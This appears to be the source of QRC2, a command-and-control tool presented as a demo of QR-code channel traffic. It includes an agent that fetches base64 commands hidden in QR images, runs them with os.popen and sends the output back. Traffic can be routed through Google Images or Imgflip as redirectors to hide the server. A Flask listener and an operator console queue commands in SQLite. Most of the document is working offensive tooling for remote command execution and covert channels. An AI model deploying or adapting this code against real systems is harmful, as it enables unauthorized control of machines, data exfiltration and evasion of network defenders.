├── README.md ├── agent.py ├── agents.db ├── c2.py ├── img └── agent.png ├── listener.py └── requirements.txt /README.md: -------------------------------------------------------------------------------- 1 | # QRC2 2 | A Crude C2 to Demonstrate Using QR Codes for Channel Traffic 3 | 4 | Check out my blog for details at https://medium.com/@curtbraz/one-part-steganography-four-redirectors-and-a-splash-of-c2-e13e5a65daa9?source=friends_link&sk=862d68853851b869cf6fca4fc0bfa5b5. 5 | 6 | View the video at https://t.co/sXeWs5Qgel?amp=1 7 | 8 | ## Installation 9 | 10 | pip install -r requirements.txt 11 | 12 | Supports Python3 Only! 13 | 14 | ## Use 15 | 16 | Run the C2 server first: `python c2.py` 17 | 18 | Run the agent next: `python agent.py` 19 | -------------------------------------------------------------------------------- /agent.py: -------------------------------------------------------------------------------- 1 | #!/bin/python 2 | import os, base64, time, requests, random, uuid, shutil, qrcode, qrtools, urllib.parse, re 3 | from PIL import Image 4 | from pyzbar.pyzbar import decode 5 | 6 | beaconint = random.randint(0, 9) 7 | uuidval = (uuid.uuid1()) 8 | #agentid = str(uuidval) 9 | agentid = 'e383694c-f9e0-11ea-a2fa-001a7dda7113' 10 | 11 | ## Welcome Screen 12 | print('\r\n#########################################\r\nWelcome to the QR C2 Agent! \r\n#########################################\r\n\r\n') 13 | 14 | print ('Please enter the domain or IP address of the C2 server. (Public, if not using a Direct Connection)\r\n') 15 | 16 | result = '' 17 | 18 | ip_domain = input('#: ') 19 | 20 | print ('\r\nEnter the Port for the C2 server. (Default is 9000)\r\n') 21 | 22 | port = input('#: ') 23 | 24 | host = ip_domain + ':' + port 25 | 26 | print ('\r\nChoose a channel type below to get started. 2-4 are Redirectors and won\'t expose your domain/IP.\r\n') 27 | 28 | print ('1.\tDirect Connection (No Proxy/Redirector)') 29 | print ('2.\tGoogle Images') 30 | print ('3.\tImgur (POST Only!)') 31 | print ('4.\tImgflip (Rate Limited)\r\n') 32 | 33 | ## Function for Direct C2 Connection 34 | def direct(cmd,result): 35 | # C2 URL 36 | URL = 'http://' + host + '/img.png' 37 | 38 | if result is None: 39 | result = '' 40 | 41 | # defining a params dict for the parameters to be sent to the API 42 | PARAMS = {'id':agentid,'name':'Agent','result':result} 43 | 44 | # sending get request and saving the response as response object 45 | r = requests.get(url = URL, params = PARAMS, stream=True) 46 | responsesize = len(r.content) 47 | 48 | if responsesize != 249856 and responsesize != 0: 49 | with open('img.png', 'wb') as out_file: 50 | for chunk in r.iter_content(chunk_size=1024): 51 | out_file.write(chunk) 52 | del r 53 | 54 | read_qr(cmd) 55 | 56 | return 57 | 58 | ## Function for Google Images Redirector 59 | def google(cmd,result): 60 | #print('google') 61 | URL = 'https://images.google.com/?gws_rd=ssl' 62 | 63 | ## Getting Cookie for Image Search 64 | r = requests.get(url = URL) 65 | headers = r.headers['Set-Cookie'] 66 | headersarray = headers.split(';') 67 | exp = headersarray[0] 68 | session = headersarray[4][9:] 69 | cookie = exp + '; ' + session 70 | #print(cookie) 71 | 72 | randval = (uuid.uuid1()) 73 | cachebust = str(randval) 74 | 75 | ## Prepare Google Image Search to Use C2 Payload 76 | payload_url = urllib.parse.quote('http://' + host + '/img.png?id=' + agentid + '&name=Agent&result=' + result + '&rand=' + cachebust, safe='') 77 | 78 | URL = 'https://images.google.com/searchbyimage' 79 | PARAMS = {'image_url': payload_url,'encoded_image':'','image_content':'','filename':'','hl':'en'} 80 | HEADERS = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36','Cookie':cookie,'Upgrade-Insecure-Requests':'1','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Sec-Fetch-Site':'same-origin','Sec-Fetch-Mode':'navigate','Sec-Fetch-User':'?1','Sec-Fetch-Dest':'document','Referer':'https://images.google.com/','Accept-Encoding':'gzip, deflate','Accept-Language':'en-US,en;q=0.9'} 81 | 82 | r = requests.get(url = URL, params = PARAMS, headers = HEADERS) 83 | 84 | #print(r.content) 85 | body = str(r.content) 86 | 87 | result = re.search('src="//(.*)=s30', body) 88 | server_qr = 'https://' + result.group(1) 89 | 90 | r = requests.get(url = server_qr, stream=True) 91 | responsesize = len(r.content) 92 | 93 | #print(responsesize) 94 | 95 | if responsesize != 30213 or 0: 96 | with open('img.png', 'wb') as out_file: 97 | for chunk in r.iter_content(chunk_size=1024): 98 | out_file.write(chunk) 99 | del r 100 | 101 | read_qr(cmd) 102 | 103 | return 104 | 105 | ## Function for Imgur Redirector 106 | def imgur(cmd,result): 107 | print('Imgur support coming soon!') 108 | #URL = 'https://s.imgur.com/desktop-assets/js/main.2866a7158e282cd60274.js' 109 | 110 | #r = requests.get(url = URL) 111 | 112 | #body = str(r.content) 113 | 114 | #m = re.search('concat\(i\),u=\"(.+?)\",c=\"', body) 115 | #clientid = m.group(1) 116 | 117 | #randval = (uuid.uuid1()) 118 | #cachebust = str(randval) 119 | 120 | ### Prepare Google Image Search to Use C2 Payload 121 | #payload_url = 'http://' + host + '/img.png?id=' + agentid + '&name=Agent&result=' + result + '&rand=' + cachebust 122 | 123 | #url2 = 'https://api.imgur.com/3/image' 124 | #files = {'image': (None, payload_url),'type': (None, 'URL')} 125 | #params = {'client_id':clientid} 126 | #headervals = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36','Content-Type':'multipart/form-data;','Accept':'*/*','Origin':'https://imgur.com','Sec-Fetch-Site':'same-site','Sec-Fetch-Mode':'cors','Sec-Fetch-Dest':'empty','Referer':'https://imgur.com/','Accept-Encoding':'gzip, deflate','Accept-Language':'en-US,en;q=0.9'} 127 | 128 | #x = requests.post(url2, files = files, headers = headervals, params = params) 129 | 130 | #print(x.content) 131 | 132 | return 133 | 134 | def imgflip(cmd,result): 135 | URL = 'https://imgflip.com' 136 | 137 | ## Getting Cookie for Image Search 138 | r = requests.get(url = URL) 139 | headers = r.headers['Set-Cookie'] 140 | 141 | headersarray = headers.split(';') 142 | cfduid = headersarray[0] 143 | iflipsess = headersarray[5][15:] 144 | cookie = cfduid + '; ' + iflipsess 145 | #print(cookie) 146 | 147 | randval = (uuid.uuid1()) 148 | cachebust = str(randval) 149 | 150 | ## Prepare Imgflip Search to Use C2 Payload 151 | payload_url = 'http://' + host + '/img.png?id=' + agentid + '&name=Agent&result=' + result + '&rand=' + cachebust 152 | 153 | # print(payload_url) 154 | #print(cookie) 155 | 156 | URL = 'https://imgflip.com/ajax_get_img_data' 157 | PARAMS = {'url': payload_url} 158 | HEADERS = {'Accept':'*/*','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36','X-Requested-With':'XMLHttpRequest','Sec-Fetch-Site':'same-origin','Sec-Fetch-Mode':'cors','Sec-Fetch-Dest':'empty','Referer':'https://imgflip.com/memegenerator','Accept-Encoding':'gzip, deflate','Accept-Language':'en-US,en;q=0.9','Cookie':cookie} 159 | 160 | r = requests.get(url = URL, params = PARAMS, headers = HEADERS) 161 | 162 | body = str(r.content) 163 | responsesize = len(r.content) 164 | 165 | bodyjson = r.json() 166 | 167 | image_bytes = bodyjson["img_data"][23:].encode() 168 | 169 | if responsesize != 338821 and responsesize != 125 and responsesize != 0: 170 | with open("img.png", "wb") as fh: 171 | fh.write(base64.decodebytes(image_bytes)) 172 | del r 173 | 174 | read_qr(cmd) 175 | 176 | return 177 | 178 | ## Function for C2 Channel Choice 179 | def inputfn(cmd,result): 180 | ## Input for Interacting With the Client 181 | if cmd == "1": 182 | direct(cmd,result) 183 | elif cmd == "2": 184 | google(cmd,result) 185 | elif cmd == "3": 186 | imgur(cmd,result) 187 | elif cmd == "4": 188 | imgflip(cmd,result) 189 | elif cmd == "quit" or "exit" or "bye": 190 | os._exit(1) 191 | else: 192 | print('Not a valid selection. Exiting..') 193 | os._exit(1) 194 | 195 | ## Function That Executes the C2 Command Locally 196 | def os_exec(cmd,command): 197 | print('Executing Command: ' + command + ' (Output Sent to C2)\r\n') 198 | stream = os.popen(command) 199 | output = stream.read() 200 | #print(output) 201 | 202 | string_bytes = output.encode("ascii") 203 | base64_bytes = base64.b64encode(string_bytes) 204 | b64output = base64_bytes.decode("ascii") 205 | 206 | inputfn(cmd,b64output) 207 | return 208 | 209 | ## Function to Read the QR Code from the C2 Server and Decode the Command 210 | def read_qr(cmd): 211 | data = decode(Image.open('img.png')) 212 | b = data[0][0] 213 | b64response = b.decode('utf-8') 214 | 215 | base64_bytes = b64response.encode('ascii') 216 | message_bytes = base64.b64decode(base64_bytes) 217 | command = message_bytes.decode('ascii') 218 | 219 | os_exec(cmd,command) 220 | return 221 | 222 | cmd = input("#: ") 223 | 224 | print ('\r\nConnecting to C2 and retrieving commands.. (This will run continuously so hit Ctrl-C to interrupt and exit when finished)\r\n') 225 | 226 | inputfn(cmd,result) 227 | 228 | while 1 == 1: 229 | inputfn(cmd,result) 230 | time.sleep(beaconint) -------------------------------------------------------------------------------- /agents.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/curtbraz/QRC2/d041e95d0f9154591e55f1ddf31aa670bd0ea322/agents.db -------------------------------------------------------------------------------- /c2.py: -------------------------------------------------------------------------------- 1 | #!/bin/python 2 | import sqlite3 3 | from sqlite3 import Error 4 | import os, base64, time 5 | import threading 6 | from subprocess import call 7 | def thread_second(): 8 | call(["python", "listener.py"]) 9 | processThread = threading.Thread(target=thread_second) 10 | processThread.start() 11 | 12 | ## Welcome Screen 13 | print('\r\n#########################################\r\nWelcome to the QR C2! \r\nExecute an agent to get started and then check by typing, "agents".\r\n#########################################\r\n') 14 | 15 | import sqlite3 16 | 17 | ## Queries SQLite Database for Active Agents (Checked in Within the Last 3 Hours) 18 | def show_agents(): 19 | 20 | sqliteConnection = sqlite3.connect('agents.db') 21 | cursor = sqliteConnection.cursor() 22 | 23 | sqlite_select_query = """SELECT * FROM agents WHERE LastSeen > datetime('now','-1 hour');""" 24 | cursor.execute(sqlite_select_query) 25 | records = cursor.fetchall() 26 | 27 | print('\r\nType an Agent ID\r\n') 28 | i = 0 29 | for row in records: 30 | print('|\tAgent ID: ' + records[i][0] + '\t|\tLast Seen: ' + records[i][1] + '\t|\tFriendly Name: ' + records[i][2] + '\t|\tIP Address: ' + records[i][4] + '\t|\r\n') 31 | i = i + 1 32 | 33 | ## Input for an Agent ID 34 | agentselect = input("#: ") 35 | 36 | print('Agent ' + agentselect + ' selected. Please enter a command to be executed on the remote host:\r\n') 37 | 38 | cursor.close() 39 | 40 | ## Calls Function to Execute Command on Agent 41 | agent_command(agentselect) 42 | 43 | ## Establish SQLite Connection 44 | def create_connection(db_file): 45 | 46 | conn = None 47 | try: 48 | conn = sqlite3.connect(db_file) 49 | except Error as e: 50 | print(e) 51 | 52 | return conn 53 | 54 | ## Removes Inactive Commands Before and After Execution 55 | def clear_commands(agent): 56 | database = r"agents.db" 57 | 58 | # create a database connection 59 | conn = create_connection(database) 60 | with conn: 61 | cur = conn.cursor() 62 | cur.execute("DELETE FROM commands WHERE AgentID = ?;", (agent,)) 63 | cur.close() 64 | return 65 | 66 | ## Inserts New Commands Issued for the Listener 67 | def insert_commands(agent,b64cmd): 68 | database = r"agents.db" 69 | 70 | # create a database connection 71 | conn = create_connection(database) 72 | with conn: 73 | cur = conn.cursor() 74 | cur.execute("INSERT INTO commands (AgentID, Command) VALUES (?,?);", (agent,b64cmd,)) 75 | cur.close() 76 | return 77 | 78 | ## Main Function That Receives Output and Displays on the Terminal 79 | def agent_command(agent): 80 | while True: 81 | agentcmd = input(agent + "#: ") 82 | 83 | string_bytes = agentcmd.encode("ascii") 84 | base64_bytes = base64.b64encode(string_bytes) 85 | b64cmd = base64_bytes.decode("ascii") 86 | 87 | clear_commands(agent) 88 | insert_commands(agent,b64cmd) 89 | 90 | 91 | print('\r\n...Waiting for Output...\r\n') 92 | 93 | results = 0 94 | 95 | while results < 1: 96 | sqliteConnection3 = sqlite3.connect('agents.db') 97 | cursor3 = sqliteConnection3.cursor() 98 | cursor3.execute("SELECT Result FROM commands WHERE AgentID = ? AND Result IS NOT NULL;", (agent,)) 99 | records = cursor3.fetchall() 100 | cursor3.close() 101 | results = len(records) 102 | time.sleep(1) 103 | 104 | cmdoutput = records[0][0] 105 | base64_bytes = cmdoutput.encode("ascii") 106 | sample_string_bytes = base64.b64decode(base64_bytes) 107 | b64decode = sample_string_bytes.decode("ascii") 108 | 109 | print('Output:\r\n\r\n' + b64decode + '\r\n') 110 | 111 | clear_commands(agent) 112 | 113 | ## Input for Interacting With the Server Client 114 | while True: 115 | cmd = input("#: ") 116 | if cmd == "agents": 117 | show_agents() 118 | elif cmd == "quit" or "exit" or "bye": 119 | os._exit(1) 120 | else: 121 | print("Not an appropriate choice.") 122 | #break 123 | 124 | -------------------------------------------------------------------------------- /img/agent.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/curtbraz/QRC2/d041e95d0f9154591e55f1ddf31aa670bd0ea322/img/agent.png -------------------------------------------------------------------------------- /listener.py: -------------------------------------------------------------------------------- 1 | #!/bin/python 2 | 3 | from __future__ import print_function 4 | from gevent.pywsgi import WSGIServer 5 | import sys, qrcode, base64 6 | import sqlite3 7 | from sqlite3 import Error 8 | from flask import Flask, request, send_from_directory 9 | app = Flask(__name__) 10 | 11 | listening_port = 9000 12 | 13 | ## Main Flask Function to Serve Up Images and Accept Input via Web Parameters 14 | @app.route("/img.png") 15 | def hello(): 16 | agentid = request.args.get("id") 17 | agentname = request.args.get("name") 18 | cmdresult = request.args.get("result") 19 | if cmdresult == "": 20 | cmdresult = "check in" 21 | 22 | filename = agentid + '.png' 23 | path = 'img/' + filename 24 | 25 | with open('img/agent.png', 'rb') as f: 26 | data = f.read() 27 | 28 | with open(path, 'wb') as f: 29 | f.write(data) 30 | 31 | ip = request.remote_addr 32 | #print('New Agent Online: ' + agentid + ' (' + agentname + ') from ' + ip, file=sys.stderr) 33 | query(agentid, agentname, cmdresult, ip) 34 | return send_from_directory('img',filename) 35 | 36 | def query(id, name, cmd, ipaddress): 37 | database = r"agents.db" 38 | 39 | # create a database connection 40 | conn = create_connection(database) 41 | with conn: 42 | # create a new project 43 | select_agent(conn, id, name, ipaddress) 44 | select_command(conn, id, cmd) 45 | 46 | def create_qr(command, id): 47 | #b64cmd = base64.b64encode(command) 48 | #string_bytes = command.encode("ascii") 49 | #base64_bytes = base64.b64encode(string_bytes) 50 | #b64cmd = base64_bytes.decode("ascii") 51 | img = qrcode.make(command) 52 | filename = id + '.png' 53 | path = 'img/' + filename 54 | img.save(path) 55 | return 56 | 57 | ## Creates a Connection to the SQLite Database 58 | def create_connection(db_file): 59 | 60 | conn = None 61 | try: 62 | conn = sqlite3.connect(db_file) 63 | except Error as e: 64 | print(e) 65 | 66 | return conn 67 | 68 | ## If Agent Checks in Update Friendly Name and Last Seen Timestamp 69 | def update_agent(conn, id, name, ipaddress): 70 | 71 | cur = conn.cursor() 72 | cur.execute("UPDATE agents SET LastSeen = strftime('%Y-%m-%d %H:%M:%S','now'), Name = ?, IP = ? WHERE ID = ?;", (name,ipaddress,id,)) 73 | 74 | ## If Agent Hasn't Been Seen Before Add to Database 75 | def insert_agent(conn, id, name, ipaddress): 76 | 77 | cur = conn.cursor() 78 | cur.execute("INSERT INTO agents (ID, LastSeen, Name, Active, IP) VALUES (?, strftime('%Y-%m-%d %H:%M:%S','now'), ?, 1, ?);", (id,name,ipaddress,)) 79 | print('\r\nNew Agent Online: ' + id + ' (' + name + ') from ' + ipaddress + '\r\n', file=sys.stderr) 80 | 81 | ## Select Agent from ID via Web Request 82 | def select_agent(conn, id, name, ipaddress): 83 | 84 | cur = conn.cursor() 85 | cur.execute("SELECT * FROM agents WHERE ID = ?", (id,)) 86 | 87 | rows = cur.fetchall() 88 | 89 | rowlength = len(rows) 90 | 91 | if rowlength > 0: 92 | update_agent(conn, id, name, ipaddress) 93 | else: 94 | insert_agent(conn, id, name, ipaddress) 95 | 96 | return 97 | 98 | ## Look Up Commands and Decide What Image to Display 99 | def select_command(conn, id, cmdresult): 100 | 101 | if cmdresult != "check in": 102 | cur = conn.cursor() 103 | cur.execute("UPDATE commands SET Result = ? WHERE AgentID = ?;", (cmdresult,id,)) 104 | 105 | cur2 = conn.cursor() 106 | cur2.execute("SELECT Command FROM commands WHERE AgentID = ? AND Result IS NULL;", (id,)) 107 | rows2 = cur2.fetchall() 108 | rowlength2 = len(rows2) 109 | 110 | if rowlength2 > 0: 111 | command = rows2[0][0] 112 | create_qr(command, id) 113 | return 114 | 115 | http_server = WSGIServer(('0.0.0.0', listening_port), app, log=None) 116 | http_server.serve_forever() -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/curtbraz/QRC2/d041e95d0f9154591e55f1ddf31aa670bd0ea322/requirements.txt --------------------------------------------------------------------------------